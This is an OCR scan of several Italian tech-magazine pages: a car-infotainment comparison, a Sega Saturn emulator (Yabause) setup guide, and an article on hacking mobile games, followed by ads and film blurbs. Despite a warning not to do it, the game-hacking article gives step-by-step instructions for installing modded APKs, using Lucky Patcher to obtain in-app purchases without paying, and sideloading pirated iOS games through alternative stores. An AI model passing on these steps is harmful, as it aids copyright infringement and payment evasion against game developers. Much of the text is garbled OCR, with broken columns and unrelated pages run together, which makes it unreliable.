La nostra opinione 
Dopo aver visto e provato 
alle conclusioni. Subito 
parzialmente immaturi, so 
vista delle applicazioni disp 
reale disponibilità 


marche di vetture, su cen 


altre auto: non si trat 
un'auto, ma magari puo esser 


Per maggiori appro 
siti dei due servizi: 








i due sistemi i 
dopo il rilascio, q 
ffrivano di poc 
onibili, e soprattut 
del sistema sulle varie auto. 
praticamente su 


È i ibili : 
Android Auto sono sibi di modelli (anche alla portata di 


; SITI pr 
:) nonché su diversi sistemi l 
eo ta di un elemento determinante p 


e utile sap 


tional. 
elta per un comodo op 
on fondimenti potete dar 


l'immancabile Spotify o Ama- 
zon Music... ma possiamo uti- 
lizzare anche App come Tuneln 
Radio per sintonizzarci sulla 
nostra radio preferita, cosa che 
può sembrare un controsenso, 
visto che abbiamo sottomano 
un'autoradio, ma che in realtà 
ci permette di connetterci a 
tutte le stazioni radio deside- 
rate, anche quando siamo fuori 
dalla portata della frequenza 
di trasmissione, o anche per 
stazioni radio che si trovano in 
altri paesi del mondo (Tuneln 
Radio è disponibile anche per 
Apple CarPlay). Infine, anche 
su Android Auto possiamo poi 
sfruttare il tempo passato in au- 
to per ascoltare un audiolibro. 


Il Piccolo prin... 
@Antoine de .. 


SI O) 


Tra le possibilità offerte dal sistema, 
anche Google Play Libri, per ascoltare 
audiolibri durante la guida 





nazione, è tempo di arrivare 
uesti due sistemi erano 
o supporto dal punto di 
to mancavano dalla 
Ora Apple CarPlay e 
tutte le principali 


dio Hi-Fi installabili su tutte le 
erlascelta di 


ere chesitrattadi un'ottima 


e un'occhiata ai relativi 


https:/ /www.apple.com/it/ ios/carplay/ 
https://www ‘android.com/auto/ 
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ega Satum 


ul tuo PG 


Riporta i classici giochi di una delle 
console Sega più famose al mondo. 
Con la nostra guida fai tutto gratis 


cossa (DN 


è FACI ILE, 


EMULATORE CONSOLE 
SEGA SATURN 


YABAUSE 
Quanto costa: gratuito 
Sito Internet: http:// 


bit.ly/2U5LIUm 


NON SOLO PER PC 
L'emulatore che con- 
sente di trasformare 

il nostro device in una 
console Sega Saturn è 
disponibile anche per 
altri sistemi operativi, 
tra cui Android. Dalla 
pagina di download 
selezioniamo la relativa 


voce per scaricare l'emu- 


latore compatibile con il 
nostro 0S. 


PICCOLI PROBLEMI 
DI COMPATIBILIT 
L'emulatore è sviluppa- 
to da programmatori 
che lo fanno per pas- 
sione, quindi penso sia 
d'obbligo perdonar loro 
qualche piccolo bug 
che talvolta, manda 

in crash il software 
costringendocia ri- 
avviare. Se anche tu 
risconti qualche pro- 
blema simile, prova ad 
installare la versione a 
32 bit anche se hai un 
sistema a 64. 


console prodotta da Sega e la prima ad 

essere dotata dellettore per CD, ilsupporto 
che aveva ormai soppiantato le cartucce dell'era 
a 16-bit. Tale console è stata la penultima pro- 
dotta da Sega prima di abbandonare il mondo 
dell'hardware ed affacciarsi a quello software. 
Tra i suoi punti di forza troviamo uno dei mi- 
gliori motori 2D mai creati, una lista di giochi 
ampia di tutti i generi, tra cui picchiaduro e 
sparatutto oppure la possibilità di espandere la 
RAMopzionale da 1MB a4MB, tanto da portare 
le prestazioni del Saturn eguagliabili a quelle 
della PS1. Da non dimenticare poi la presenza 
di un modeminterno dalla “straordinaria” ve- 
locità di 28.8 kbit/s. Tra i motivi che non fecero 
ottenere alla console quel successo che meritava 
troviamo un prezzo alto (400 $ in America), poca 
memoria disponibile peril salvataggio dei dati 
e il motore 3D faticava a raggiungere i livelli 
della PlayStation 1. Inoltre la struttura a due 
processori principali, rendeva molto faticoso il 
lavoro degli sviluppatori che preferivano quindi 
spostare i loro titoli su altre piattaforme. 


T rail 1994eil1998il Saturn èstatalaterza 


Riscopriamo il Saturn 

Per i più nostalgici o per chi volesse scoprire 
perla prima volta i titoli di questa console, può 
farlo grazie ad un emulatore per PC chiamato 
Yabause. Tra le peculiarità di questo software 
gratuito e disponibile per varie piattaforme 
troviamo la possibilità di far partire tali gio- 
chi con una risoluzione in HD, giocare con 
un controller esterno e tanto altro ancora che 
scopriremo in questo spazio. Non perdiamoci 
in chiacchiere, allora. Andiamo ad analizzare 
in dettaglio l'emulatore, installandolo e confi- 
gurandolo al meglio per poter godere appieno 
dei vecchi titoli che hanno fatto la storia della 
nota console Sega, passo dopo passo. Mano al 
controller e... si parte! 











x} Prepariamo l’emulatore 


Scarichiamo la versione a 64bit più recente 
dell’emulatore cliccando sulla relativa voce 
presente su http://bit.ly/2U5LIUm (nel momento in 
cui scriviamo, la versione più recente dell’emulatore 
è la 0.9.15). Estraiamo poi il pacchetto .zip in una 
cartella sul desktop. Nella stessa pagina possiamo 
scaricare anche Yabause a 32bit, cliccando sul rela- 
tivo link. In alternativa inseriamo il CD/DVD di Win. 








( lostatiazione di yabause 09.13 - 
Prego attendere mentre vadeuse 0.9. 15 vene netalato. 


Cartella di destinazione: C:\Program Fiesivadase 0.9.35 


Ticsiadetagi] 


x} Installiamolo 

Facciamo doppio click sul file appena scari- 

cato e clicchiamo su Avanti, Accetto, Avanti 
e Installa. Attendiamo che il processo di installazione 
finisca e terminiamo con Fine. Una volta installato, 
apriamo Yabause facendo doppio click sulla relativa 
icona. La schermata principale si presenta sempli- 
ce e con vari pulsanti, utili per offrire una migliore 
esperienza di gioco. 


i Yabause: dov'è e come si installa 


Installiamo l’ultima versione dell’emulatore e smanettiamo con le impostazioni per sfruttare al meglio le sue 
caratteristiche. Nonostante i numerosi pulsanti, l'interfaccia si presenta semplice ed intuitiva. 


x} Qualche piccolo settaggio 













Per settare la lingua rechiamoci in File/Set- 

tings/General e in Translation mettiamo Ita- 
liano. Clicchiamo su OKe riavviamo Yabause. Impo- 
stiamo la risoluzione massima dello schermo recan- 
doci in /Impostazioni/Video/Fullscreen Resolution e 
settando 1280x720. Importante è impostare anche 
il file BIOS, utile per l'avvio dei giochi: rechiamoci in 


Impostazioni/Generale/BIOS e caricare uno. 





Le funzionalità di Yabause sono numerose ed ognuna è richiamabile tramite l'apposito pulsante. 
Andiamo a scoprire la GUI e le infinità di impostazioni che offre. 


x SAINT IERI Di 
/ File Emulazione Strumenti Visualizza Debug Aiuto 


00058 A-data IDO 





trucchi del gioco per saltare i livelli 
o ottenere vite infinite. 


22 VISUALIZZA 
Consente di modificare la 
risoluzione dello schermo (se intero 
oppure no), visualizzare gli FPS 0 
analizzare il file di log del software 
(opzione per smanettoni!). 


DEBUG 


Monitora gli aspetti del gioco in 
chiave assembly. In definitiva a noi 
non serve a nulla :-) 


AIUTO 


Visualizza informazioni riguardo il 
programma: versione, sito ufficiale e 


TUTTI | GIOCHI 

DEL SATURN 

Quanti giochi sono usci- 
ti perla console SEGA 
Saturn? Sicuramente 
tanti e se volete una 
lista eccola qui: http:// 
bit.ly/2skAiuN. Utile 
soprattutto per fare un 
tuffo nel passato e ricor- 
dare i vecchi giochi d'in- 
fanzia, conla possibilità 
di poterci rigiocare sul 
proprio PC. Inoltre qui è 
presente la lista ufficia- 
le di giochi compatibili 










vi discorrendo: con l'emulatore: http:// 
LA BARRA STRUMENTI bit.ly/2M4icGA. 
Esegue, mette in pausa 0 
resetta il gioco E SEI SENTIAMO 
Apre il gioco oppure legge il Il team di Yabause 
CD-Rom. mette a disposizione la 
2 Salva oppure carica stato di propria pagina Patreon 
gioco. (https://www.patreon. 
Impostazioni, driver video, com/yabause) per 
suono, limita (0 salta) frame, supportare economi- 
mostra numero di FPS, schermo camente il progetto. 

( FILE EMULAZIONE far girare Yabause alla giusta pronti ci fai uno Tali donazioni saranno 
Qui possiamo aprire un gioco, Offre la possibilità di part aj velocità. ) utilizzate per coprire i 
salvare o caricare gli stati, fare mettere in pausa o resettare i Backup manager o lista trucchi. ; i 
uno screenshot oppure accedere gioco. Inoltre, tramite Limita/Salta —@B STRUMENTI VE costi sostenuti durante 


Da qui potremo effettuare il backup il lavoro del progetto. 


dei dati oppure digitare i cheat, i 


frame, sarà possibile modificare 
al meglio il frame rate così da 


2) Esci dal programma o vai alle 


dell’emulatore. informazioni 
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SALVARE 

I PROGRESSI 

DEL GIOCO 

Una delle funzionalità 
più importanti di 

un emulatore è la 
possibilità di salvare o 
caricare stati di gioco 
per riprendere dal 
punto in cui abbiamo 
chiuso il programma. 
Persalvare uno stato 
di gioco, rechiamoci su 
File/Save State e sele- 
zioniamo uno degli slot 
appena comparsi. Per 
caricare invece uno sta- 
to di gioco, rechiamoci 
su File/Load State e 
selezioniamo una delle 
voci, che rappresenta 
lo stato salvato in pre- 
cedenza. 


C'È SPAZIO 

PER OGNI TIPO 

DI CONTROLLER 

In aggiunta al Passo 

B1 anchela possibilità 
di utilizzare come con- 
troller esterno altri de- 
vice, come ad esempio 
il mouse, Per settarli, 
andiamo in Imposta- 
zioni/Input e in Port 1, 
andiamo a selezionare 
la voce dalla lista posta 
a sinistra del pulsante 
Edit configuration. 
Muovendo lo slider 
posto in basso invece, 
possiamo modificare il 
livello di sensibilità del 
controller. 

PER PCMENO 
POTENTI 

Abbiamo visto come 
personalizzare al 
meglio i settaggi 
dell'emulatore. Ciò 
non toglie che potrai 
personalizzare a tuo 
piacimento Yabause 
andando a rendere 
l'emulazione dei giochi 
ideale per il tuo PC. 
Adesempiose ne hai 
uno poco potente, da 
Impostazioni/Video, 
alla voce Fullscreen 
Resolution anziché set- 
tare 1366x768 settate 
512x384, o comunque 
una risoluzione relati- 
vamente bassa. 
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Mano alle configurazioni 


Scopriamo come impostare al meglio l'emulatore 


per ottenere un’esperienza di gioco migliore 


della console originale, andando a toccare le varie voci inerenti alla grafica e al suono. 





x) Impostiamo i pulsanti 


Per poter personalizzare i tasti, rechiamoci su Fi/e//mpo- 

stazioni/Input e selezioniamo, in Input la voce Qt Key- 
board Input Interface per poter assegnare i vari pulsanti da 
tastiera (selezioniamo invece SDL Joystick Interface se voglia- 
mo usufruire di un controller esterno collegato al PC). A questo 
punto, nella sezione Port 7 possiamo settare i pulsanti andando 
a cliccare su Edit configuration. 





x } Suono e memoria 
Da /mpostazioni/Suono spuntiamo la voce Enable 
higher quality sound (may be slower) per migliorare la 
qualità audio e, nel caso il suono dovesse avere problemi duran- 
te il gioco, ritogliamo la spunta. Mentre in /mpostazioni/Cart/ 
Memoria impostiamo, nella sezione Cartuccia, la voce 32 Mbit 
backup Ram per emulare la cartuccia. 


. | Settiamo la grafica 


Per migliorare notevolmente la grafica, da /mpostazio- 

ni/Video in Sistema Video impostiamo la voce Software 
Video Interface e spuntiamo Bilinear Flltering (Restart required). In 
OSD Core impostiamo Software OSD Interface, in Window Reso- 
lution impostiamo Fixed aspect ratio: 16:9 e, se abbiamo un PC 
abbastanza potente, in Fu//screen Resolution impostiamo la mas- 
sima risoluzione, ovvero 1366x768. Riavviamo l'emulatore. 





x ) Trucchi per vincere facile 


Se amiamo vincere facile ai giochi o comunque cam- 

biarne le regole ufficiali, possiamo farlo recandoci, dalla 
home principale, sulla voce Strumenti/Lista Trucchi. Per faci- 
litarci le cose possiamo consultare questa pagina: http://bit. 
ly/2AZUWPb. In ogni caso il Web è pieno di trucchi (cheat) da 
apportare al gioco, basta fare una ricerca. 


4 ) Lanciamo 
ME impostazioni il gioco 
Goron Vito (dere | Corno lit reo de sio È arrivato il 


Gerersie = Video = Suono = Cari/Menoria Fou  Asprente Vem Shorkcuts 
ciato ” A Sestema Video 


Software tico Interface 


ZIA 
Y Pad Configuration 


CO Biirere Pitering (Restari recuiresi) 


050 Core 
Softnare OSD Interface 
Window Resolubon 
Foatd separi ‘nto: I 


CO starti rudicreen 
Formato Video 

mise 
(Use integer pinel scalpo 





momento di far parti- 
re un gioco ed iniziare 
il divertimento: rechia- 
moci su Fi/e/Open ISO 
e, dalla nuova finestra 
che appare selezio- 
niamo il gioco. Vedia- 
mo così partire il tito- 
lo scelto. Non ci rimane 
altro che mettere mano 
alla tastiera (o control- 
ler esterno) e iniziare a 
giocare! 


*\ AMATO 
OT DA CUCINA PIÙ AM 
LA RIVISTA MENSILE UNOFFICIAL PER IL ROBOT I cina 


" dv + 250 
RESO \GRANDI CHEF. 
£. pi I A quale » 
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cum 





ni pai ew re 














martphone e tablet sono diven- 

tati i nostri compagni di diverti- 

mento. Sui vari store è possibile 
trovare giochi di ogni genere, ma nella 
maggior parte dei casi non è gratis. Ci 
sono giochi che si devono acquistare e 
altri che vengono forniti nella moda- 
lità freemium. In altre parole si può 
scaricare gratuitamente il gioco, ma 
poi per sbloccare livelli e accedere a 
contenuti aggiuntivi è necessario ef- 
fettuare acquisti in-app. Pagare però 
non è sicuramente una delle parole 
presenti nel vocabolario dei soliti sma- 
nettoni. C'è chi riesce ad aggirare le 
limitazioni dei giochi e a sbloeeare 
i benefit senza sborsare un centesi- 
mo. Grazie ad alcuni hack si possono 
ottenere gemme illimitate per Clash 
Royale e Candy Crush, sbloccare le 
auto per Real Racing e altrogancora. 
Con alcune tecniche gli smanettoni 
riescono a sbloccare i loro disposi- 
tivi per installare giochi moddati © 
modificare alcuni file per bloccare 
gli acquisti in-app. Le soluzioni sono 
diverse e dipendono dal tipo di gioco 
e daltipo di dispositivo. A titolo pura- 
mente informativo abbiamo raccolto 
i migliori hack per sbloccare i giochi 
su Android e i0S. 


Non fatelo! 


Sebbene possa sembrare abbastanza 


semplice hackerare i giochi sui dispo- 
sitivi mobile, è una cosa che sconsi- 
gliamo vivamente. Oltre all'aspetto 
legale (hackerare i giochi viola il 
copyright di chi li ha sviluppati), le 
tecniche usate dagli smanettoni sono 
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Piovono gemme su 
Giash Royale&co! 


Ecco come fanno i pirati a collezionare bauli, gemme e monete 
senza spendere un centesimo. | trucchi degli smanettoni 
per sbloccare i benefit dei giochi 








molto rischiose per la sicurezza del 
dispositivo. Innanzitutto può inficia- 
re la garanzia del produttore e poi si 
corre il rischio di installare malware 
di ognitipo. Basta scaricare il file sba- 
gliato oinstallareun giocoinfetto per 
esporsi ad attacchi divario genere. Se! 
sei curioso di conoscere le tecnicl 
degli hacker, continua a leggere, 1 


perla tuasicurezzati Consighia! cao 3 


























no o glicpcani I Li 
tempo quotidiai 











Giochi hackerati su Android 


Aggirando il Google Play, lo store ufficiale di BigG, lo smanettone qui installare giochi modificati con monete 


e benefit sbloccati. Ecco come i pirati scaricano game app senza li 





x \ Da qualsiasi origine 


Per poter installare su Android i giochi modi- 

ficati che non si trovano su Google Play, lo 
smanettone va prima in /mpostazioni e si sposta 
nella sezione Sicurezza. Quindi abilita l'opzione Ori- 
gini sconosciute per consentire l'installazione delle 
applicazioni da fonti non ufficiali. 


“ Android Mobile Zone 


.) In cerca di APK 
A questo punto avvia il browser del suo 
cellulare e va su uno dei tanti siti da cui 
è possibile scaricare giochi moddati. Uno dei più 
famosi è http://bit.ly/apksupergame con una sezio- 
ne dedicata ai giochi modificati. Seleziona il gioco 
che gli interessa e poi tocca il pulsante Down/oad. 


imitazioni 


WWE-MA YHEM MOD-APK+DATA-1.3.23.rar 
359.5 MB (37606155 bytes) Report abuse 


Non sono un robot 


1 | Approfitta delle Offerte Otterte Cytsec Moriay Salò 60-00%, Cyber Monday 


2| Scegli Monster Pibbkce Oss € tuo Ammuncio dì Lavor 


INFORMATION CONTACTS 





Installazione manuale 

Viene reindirizzato su un servizio di hosting 

dove dovrà verificare il codice captcha. 
Clicca su Download per scaricare il file APK del 
gioco. Al termine tocca il file APK per procedere 
all’installazione. | file APK possono anche essere 
scaricati dal PC e poi trasferiti sullo smartphone. 





L'analogo dell'APK per i dispo- 
sitivi iS è il formato IPA. Anche 
in questo caso ci sono diversi siti 
su cui gli smanettoni riescono a 
trovare i file IPA dei giochi modi- 
ficati. Per installarli lo smanetto- 
ne si procura un dispositivo col 
jailbreak in modo da aggirare le 
limitazioni imposte da Apple. Se 










Scoperta Ciao. Giochi 


8558$S8E06886. 


siate Bear 


Marcia per un amico 
19° Acq Tarso Cla se | 
Marcia in rosa 


2° Quater Pass insema si 
Gouerinat 


non può effettuare il jailbreak, 
ricorre a una soluzione alter- 
nativa che consiste nell'usare il 
tool Cydia Impactor (http://bit. 
ly/2AWWTIK). 

Procede poi a collegare il disposi- 
tivo iOS al computer e avvia Cydia 
Impactor. Trascina quindi il file 
IPA su Cydia Impactor e inserisce 


""Î Cydia Impactor 


Impactor Bridge Device Fastboot USB Xcode 


iPhone di 


install Cydia Extender 


le credenziali dell'Apple ID del 
suo dispositivo. 

Altermine l'applicazione verrà in- 
stallata e sarà presente sulla Ho- 





a "4 | 





Fance\éite è 





faf1cboc27d1c708ha3c90df0430: “ 


x Start 





me.Prima però di avviarla, dovrà 
andare in Impostazioni/Generali/ 
Gestione profili e dispositivo per 
autorizzare il nuovo profilo. 


Una patch per i giochi Android 


Usando il tool Lucky Patcher lo smanettone riesce a moddare i titoli installati sul suo smartphone per sbloccare 
gli acquisti in-app. odificando le app con appositi strumenti il pirata riesce a ottenere tutti i benefit 


Lucky Patcher è un tool per An- 
droid che consente di modificare 
i permessi delle app, bloccare gli 
annunci, ottenere gratuitamente 
acquisti di app. In pratica que- 
sto strumento crea una versione 


|" Cydia Impactor = 


moddata del gioco originale sbloc- 
cando le funzionalità richieste. 
In questo modo anche un pirata 
che non è molto abile a program- 
mare riesce a crackare i suoi gio- 
chi per sbloccare i vari benefit. 


Naturalmente non funziona con 
tutti i giochi, ma è sicuramente 
uno dei migliori e funziona anche 
senza il root. Ogni gioco è diverso 
e potrebbe utilizzare metodi di 
pagamento differenti. Il sistema 


usato per la modifica delle app 
potrebbe funzionare per alcune 
e fallire per altre. Bisogna essere 
un po' fortunati ed è anche per 
questo che si è scelto di dargli il 
nome ‘Lucky’ patcher. 


Impactor Bridge Device Fastboot USB Xcode 
iPhone di Taf1chcc27d1c708ha3c90df0430 “ 
| ‘install Cydia Extender 


Il tool per le mod 


Per crackare i giochi uno dei migliori tool è 

Lucky Patcher che funziona anche senza il 
root. Per scaricarlo lo smanettone apre il browser sullo 
smartphone e punta alla pagina https://luckypatcher. 
co (non il .com!!!) Scorre la schermata e tocca il tasto 
Download Lucky Patcher per scaricare il file APK. 





Sostituire il gioco 

Lo smanettone conferma il tutto toccando 

Ricostruisci l’app e attende la fine delle ope- 
razioni. Tocca quindi Vai al file e completa selezio- 
nando Disinstalla e installa. Conferma quindi con Si 
e segue le istruzioni per disinstallare il gioco originale 
e sostituirlo con quello moddato. 
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Falso positivo? 


Tocca quindi il file APK e procede alla sua 

installazione (è necessario aver abilitato l'op- 
zione da origini sconosciute). Una volta avviato, Lucky 
Patcher potrebbe essere identificato come virus ma 
non lo è, e verifica la disponibilità di aggiornamenti che 
possono essere installati toccando il tasto Aggiorna. 


Acquisti a costo zero 


A questo punto avvia il gioco, va nel negozio e 

seleziona ciò che vuole comprare, ad esem- 
pio le monete virtuali. Dalla finestra che si apre spun- 
ta Auto-ripetizione degli acquisti con le impostazioni 
attuali e conferma con Si. Come per magia l'acquisto 
sarà effettuato senza pagare un centesimo. 





Ora tocca al gioco 


La finestra principale di Lucky Patcher 

mostra l'elenco delle app e dei giochi instal- 
lati sullo smartphone. Lo smanettone tocca quin- 
di il gioco che vuole modificare, apre il menu delle 
patch, tocca Crea file APK Modificato e seleziona 
APK ricostruito con emulazione InApp e LVL. 


Lucky Patcher funziona anche sui di- 
spositivi senza il root, ma non riesce a 
crackare tutti i giochi. Ci sono diversi 
altri tool che funzionando col root po- 
trebbero riuscire dove Lucky Patcher 
fallisce. Tra i preferiti dagli smanettoni 
ci sono ad esempio: 


XmodGames 
(www.xmodgamesdl.com) 


SB Game Hacker (gamehacker.co), 
CreeHack (creehacks.com) 
Game Killer (gamekiller.co) 


Leoplay Card 
(http://leoplaycard.org/) 


Negozi alternativi per i0S 


Ecco come gli smanettoni ricorrono ad altri store da cui scaricano app e giochi hackerati. Spesso per installarli 
non è neanche necessario che il telefono sia jailbreakato! 


Un'altra soluzione per installare giochi hacke- 
rati su un dispositivo i0S (oltre a quella della 
modifica dei file di sistema che trovi nel box 
precedente) consiste nel ricorrere agli store al- 
ternativi. Ce ne sono diversi che possono essere 
installati su iPhone e iPad anche senza dover 
eseguire iljailbreak. La procedura perinstallarli 
è più o meno simile. Lo smanettone si reca su 
un'apposita pagina attraverso il browser Safari 
edesegue l’installazione via Web toccando un 
link. Successivamente deve fornire l'autoriz- 
zazione allo sviluppatore per poter avviare il 
gioco. Tra i migliori store alternativi per i0S 
ci sono HiPStore (ios.hipstore.mobi), vShare 
(www.vshare.com), FlekStore (flekstore.com), 
AppValley (appvalley.vip), TweakBox (tweak- 
boxapp.com) e TuTuApp. Nei passi seguenti 
vedremo proprio come uno smanettone riesce 
ainstallare TuTuApp su uniPad. 


Emergency Notice 
LomMended to mstali TutuApp 
Nesstool. 
an order to maintain TutuApp and apps 
running smoolhiy. 


Use other VPN 01 turning att 
tend ti 


x} Lostoreè aperto 


AI primo avvio viene consigliata l'installazione 
di NESSTOOL, un tool che consente di usare 
TUTu Helper in sicurezza e di evitare i crash. Lo sma- 
nettone procede quindi alla sua installazione e anche 
questa volta, prima di poterla usare, dovrà fornire le 
autorizzazioni sempre da Gestione profili e dispositivo. 





a} Installazione via Web 
Tra i tanti store alternativi uno dei più usati 
dagli smanettoni è TuTu Helper. Per instal- 
larlo sui dispositivi senza jailbreak avvia Safari e va su 
www.tutuapp.vip. Seleziona la versione Regular, toc- 
ca Download e conferma con /nstalla. Dopo alcuni 
secondi TuTu Helper apparirà nella Home. 





x} Sostituire il gioco 
Ora che tutto è pronto, lo smanettone avvia 
prima NESSTOOL e tocca il cerchio al centro. 
Prosegue quindi con l’aprire TuTu Helper. Questo store 
alternativo ha un'interfaccia molto simile a altri store. 
Per scaricare i giochi si reca nella sezione apposita 
dove potrà accedere a un corposo elenco. 





" 
< Dente protà è cisponinso Ala Finaniosi Ca. Ltd 


x} Fornire le autorizzazioni 
Al primo avvio TuTu Helper da errore. Per risol- 
vere lo smanettone si sposta in /mpostazioni/ 
Generali/Gestione profili e dispositivo e da l'autoriz- 
zazione allo sviluppatore dell'app. Dopo averlo fatto, 
ritorna alla Home e questa volta può avviare lo store 
alternativo. 


= 


3 


ASPHALT 


» | Divertimento senza limiti 
Per installare un gioco lo smanettone tocca 
il pulsante scaricare. 
AI termine del download il gioco verrà automati- 
camente installato sul dispositivo iOS e apparirà 
nella Home per essere avviato come una qualsiasi 
altra applicazione. 


Win Magazine 77 











PROMO SPECIALE D'ABBONAMENTO 
CON SCONTI FINO AL 60%! 


rimani na giano GRATIS SUL CD dI 


I Q | Mete IL NUOVO 
VISITA IL SITO SHOP.EDMASTER.IT Tio, ar Sd 
Ti aspettano eccezionali offerte 
con tecnogadget esclusivi come 
il nuovissimo SMART SPEAKER a 
riconoscimento vocale: tu comandi e 
lui ti risponde! 







SMARTPHONE 
Gere Gia ee 


asì crei la tua. personale Ha 


NASCOSTE DI GMAIL 

paga e ol eno ina ifruppi 

RECUPERA 

| FILE CANCELLATI 

PER ERRORE 

Il da z “ 
ER 





Scandagliando i repository della Rete abbiamo scovato 
30 grandi programmi tuttofare che nessuno conosce. i 
Usali subito DE arricchire il tuo PC! [sur co 


MI SDOPPIO 
GLI ACCOUNT! 


Winnton Facebook Ta 


INST, \GRAM 20 trucchi ci so so oa 
da veri influencer sa 


Consigli ed effetti speciali per A 
creare Sturie acchiappa-follower o” d ; PAZZINI 


[TOY 10 APP PER SORPRENDERE TUTTI MESÌ 


LA SCELTA GIUSTA... 


MUSICA SENZA LIMITI ARTISTI IN PUNTA DI TAP 


dei servizi chi offre più qualità, Così la tavoletta digitale diventa una tela 
psc ioni? Scoprilo nel nastro est TE EA lt 





Ritaglia e spedisci il coupon in busta chiusa a: EDIZIONI MASTER S.p.A. Via Diaz, 13 - 87036 Rende (CS) oppure invialo via fax al n. 199.50.00. ‘ai su shop.edmaster.it 


























































































































| 
Si, desidero abbonarmi a Win Magazine: Nome $ Nome 
Base (12 numeri) € 24,99 anzichè € 35,88 (-30%) E Cognome È Cognome 
2 $ 
cl 5 
p i ‘chè -309 = 3 
lus (12 numeri) € 33,50 anzichè € 47,88 (-30%) = Via È Via 
à si 
; RIST ts S ta 3 =" 
DVD (12 numeri) € 48,99 anzichè € 71,88 (-32%) E n° CAP Provincia $ n° CAP Provincia 
se (24 i) € 47, ichè ,76 (-339 Cene 3 
Base (24 numeri) € 47,99 anzichè € 71,76 (-33%) Z Città z Gittà 
Plus (24 numeri) € 64,99 anzichè € 95,76 (-32%) & ci 
< n. cellulare = n.cellulare 
E È 
DVD (24 numeri) € 79,99 anzichè € 143,76 (-44%) $ d 
u n. telefono Ss n. telefono 
| Fa 
e-mail id e-mal A 
l 
sesso: taladifasda: Leo Sali stato civile: O celibe/Nubile K] coniugato ClVedovo/a O pivorziato/a DD Convivente 
titolo di studio: [Lic Scuola Elementare O Lic. Scuola Media Inferiore DI Diploma IO Laurea professione: 
Dichiaro di essere maggiorenne e autorizzo il trattamento dei miei dati personali per finalità promo-pubblicitaria SÌ NO 

















Nel caso di eventuale sospensione o interruzione della pubblicazione oggetto di abbonamento, l'editore si riserva la facoltà di sostituirla con una pubblicazione di valore uguale o simile. 


Informativa ex artt 13 & 14 GDPR (Genere 
Edizioni Master SpA mediante in 
logic 3 al FapK 
neo Senza 


i in merito all'utilizzo dei Suoi dati personali. | dati personali raccolti da 
inte strumenti manuali, informatia e telema NO, n 
di opporsi al tratta! en È 
1: privaoy@edmasterit, | dati raccolti, potranni 
Iegale e controllate, facenti parte del mede Yuppo editonale: potranno all fe trattati per finalità promo-pubbiiataria con nisenso espliaito. 











Scelgo di effettuare il pagamento attraverso: 


E] Bonifico bancario intestato a Edizioni Master SpA O Carta di Credito: vai su https://shop.edmaster.it per completare 
c/o BANCA DI CREDITO COOPERATIVO di Milano S.C. la transazione in modo sicuro 
IBAN [T47R0845333200000000066000 


(inviando copia della distinta via fax oppure via posta) 


Win Magazine 255 - offerta valida fino al 31.03.2019 Firma 








La nuova interfaccia 
del Win CD/DVD-Rom 


Abbiamo ridisegnato il layout dei supporti allegati alla rivista. Ora puoi 
esplorarne i contenuti in modo più semplice e intuitivo. Ecco come 


Win Win Magazine [DVD] 


Nella rivista 


Top 10 software 


Le migliori app del mese in regalo per te 
Ashampoo ped Rambox 05,17 


Posta chel leletsnote tocla ener a 
barvizi Web da un unica appicarone 
PO VS Suappy Oelver botallr 1.184 i, 
pro “mantenere A PC snai agg r t 
varagra vaboce pulito sd efilerte è Matalag nel 


Fante bmago Viewer 6.5 Buttorcup 162 
Viraskczaonne omezia 
ttograta è be da laschine 


La cosmateni dove memenizzàt 
passmard Miane account Mie 


a ig 
| ER 


Taaneminnion 2.94 
 ituni icona con del e 
esitano & srapgpinto pt i. [ 


RNA naz usted 
Mispostivi 105 senza unare ITunes 


SOFTWARE PER TUTTI | GUSTI 

Nelle sezioni Top softwaree Indispensabilitrovi ogni mese 
un'imperdibile raccolta di servizi e programmi aggiornati 
consigliati dalla redazione. Scegli dalla lista il contenuto che 
ti interessa, clicca sul pulsante a sinistra e attendi l'apertura 
della relativa cartella: al suo interno troverai il file richiesto. 
Puoi trascinarlo sull'hard disk ed estrarlo per procedere 
all'installazione. 








Nella rivista 


METTI IN PRATICA I NOSTRI TUTORIAL 

Cliccandosull'icona Nella rivistasi aprono le cartelle contenenti 
ifile citati nella rivista. Il nome di ogni cartella corrisponderà al 
numero di pagina del relativo tutorial sulla rivista così da facili- 
tare l'identificazione dei software. Cliccando sudi esse si accede 
poi ai file in formato Z/Po URL. Per installare un programma, 
scompatta l'archivio ZIP in una cartella dell'hard disk; nel caso 
dei collegamenti basta un doppio clic per aprirli nel browser. 


COME AVVIARE IL CD/DVD 
Inseriamo il supporto nel lettore ottico del PC: 
la nuova interfaccia si avvierà in automatico. 
In alternativa possiamo caricarla manualmente da 
Risorse del computer. Per farlo clicchiamo col tasto 
destro sull'unità contenente il Win CD/DVD-Rom e 
selezioniamo Apri; entriamo nella cartella autorun 
e facciamo doppio clic sul file autorun.exe. 


TOP SOFTWARE 
I software più interessanti 


= EXTRA 
Software, app, video, PDF 
del mese selezionati per te 


ecc. per arricchire la tua 





dalla redazione. esperienza informatica 
e rendere la lettura del 
NELLA RIVISTA magazine interattiva. 
Programmi, app, addon 
ecc. utilizzati questo mese 23 VIDEOGAME 
nelle guide del magazine. Videogame completo (solo 
su Win Magazine versione 
“B SFONDI / FONT Plus e DVD). 
Caratteri tipografici per 
impreziosire documenti FILM 
e progetti di grafica; DVD Video in regalo da 
wallpaper mozzafiato per guardare su PC o TV (Win 
cambiare look al Desktop. Magazine versione DVD). 
INDISPENSABILI FILM STREAMING 
I tool tuttofare che non Inostri film da guardare sul Web 
devono mancare sul tuo PC. — (WinMagazine Plus e DVD). 





RIPRODURRE IL FILM 

Se inserisci il supporto allegato a Win Magazine DVD nel 
tuo lettore Blu-ray/DVD da tavolo il film verrà riprodotto 
automaticamente. Se preferisci vederlo su PC clicca invece 
su Guarda film. In alternativa, installa VLCdalla sezione 
Indispensabili, vai su Questo PC (o Computer), fai clic col 
tasto destro sull'unità DVD e scegli Riproduci con il lettore 
multimediale VLC. 
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SENTIERO SOLITARIO” 





IL SENTIERO. 


SOLITARIO 


Al termine della guerra di secessio- 
ne, John Ashley, che ha combattu- 
to per il Nord, torna nel natio Sud. 
Qui constata che le popolazioni 
sconfitte sono vittime di arbitri 
e soprusi. Accolto con diffidenza 
dagli antichi compagni, con l’amico 
Jed riesce a smascherare i politi- 
canti corrotti del nord. 


SCHEDA TECNICA 

REGIA: JOSEPH KANE © CAST: JOHN WAYNE, ANN 
RUTHERFORD, CY, KENDALL, YAKIMA CANNUT, BOB 
KORTMAN © DURATA: 55 MIN. © GENERE: WESTERN » 
ANNO: USA 1937 
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WYOMING 
OUTLOW 


| tre Moschettieri, tre cowboy pro- 
tagonisti di una celebre serie di 
film anni 30 corrono qui in aiuto di 
